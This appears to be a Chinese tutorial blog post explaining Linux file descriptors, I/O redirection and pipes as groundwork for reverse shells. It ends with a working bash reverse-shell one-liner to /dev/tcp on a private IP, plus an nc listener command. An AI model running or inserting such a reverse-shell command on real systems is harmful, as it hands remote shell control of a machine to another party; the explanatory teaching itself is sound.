Linux反弹Shell方法

Linux反弹Shell方法

Linux标准文件描述符

Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符。

文件描述符 缩写 描述 默认设备
0 STDIN 标准输入 默认设备键盘
1 STDOUT 标准输出 默认设备显示器
2 STDERR 标准错误输出 默认设备显示器

我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出。

文件描述符0:理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;

文件描述符1:理解为我和计算机交互时的输出,而这个输出默认是指向显示器的;

文件描述符2:理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和文件描述符1指向一个位置;

更改标准输出的位置

把标准输出位置更改到test文件中:

exec 1> test

把当前标准输出重定向到test文件中:

➜ ~ ➜  echo 'lst' 1> test
➜ ~ ➜  cat test
lst

更改标准输入的位置

从键盘输入,把输入读入user变量

➜ ~ ➜  read user
testtest
➜ ~ ➜  echo $user
testtest

把test文件中的内容重定向到标准输入:

➜ ~ ➜  read user 0< test
➜ ~ ➜  echo $user
lst

标准错误输出和标准输出的区别是,它在命令出错情况下的输出。

exec 2> test

分配自己的文件描述符:

➜ ~ ➜  exec 5> test
➜ ~ ➜  echo 'are you ok?' 1>&5
➜ ~ ➜  cat test
are you ok?

把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)

/dev/null

特殊文件,写入的任何东西都会被清空。

  1. 把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息
whoami 2>/dev/null
  1. 快速移除文件中的数据而不用删除文件
cat /dev/null > test

重定向

重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符。

输入重定向

<
从文件读取输入。

输出重定向

>
将输出保存到文件。

>>
将输出追加到文件。

管道

|
将一个程序的输出作为输入发送到另一个程序。

反弹shell的本质

什么是反弹shell

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

被控端:

bash -i >& /dev/tcp/10.10.1.11/6666 0>&1

控制端:

nc –lvvp 6666

参数解释:

bash -i
打开一个交互式的bash shell。

/dev目录
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/tcp/10.10.1.11/6666
和10.10.1.11的6666端口建立TCP连接

实现控制端和被控端之间的交互

  1. 把被控端的交互式shell输出重定向到控制端:
bash -i > /dev/tcp/10.10.1.11/6666

把被控端执行的命令结果返回到控制端。

UTOOLS1589866718117.png

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值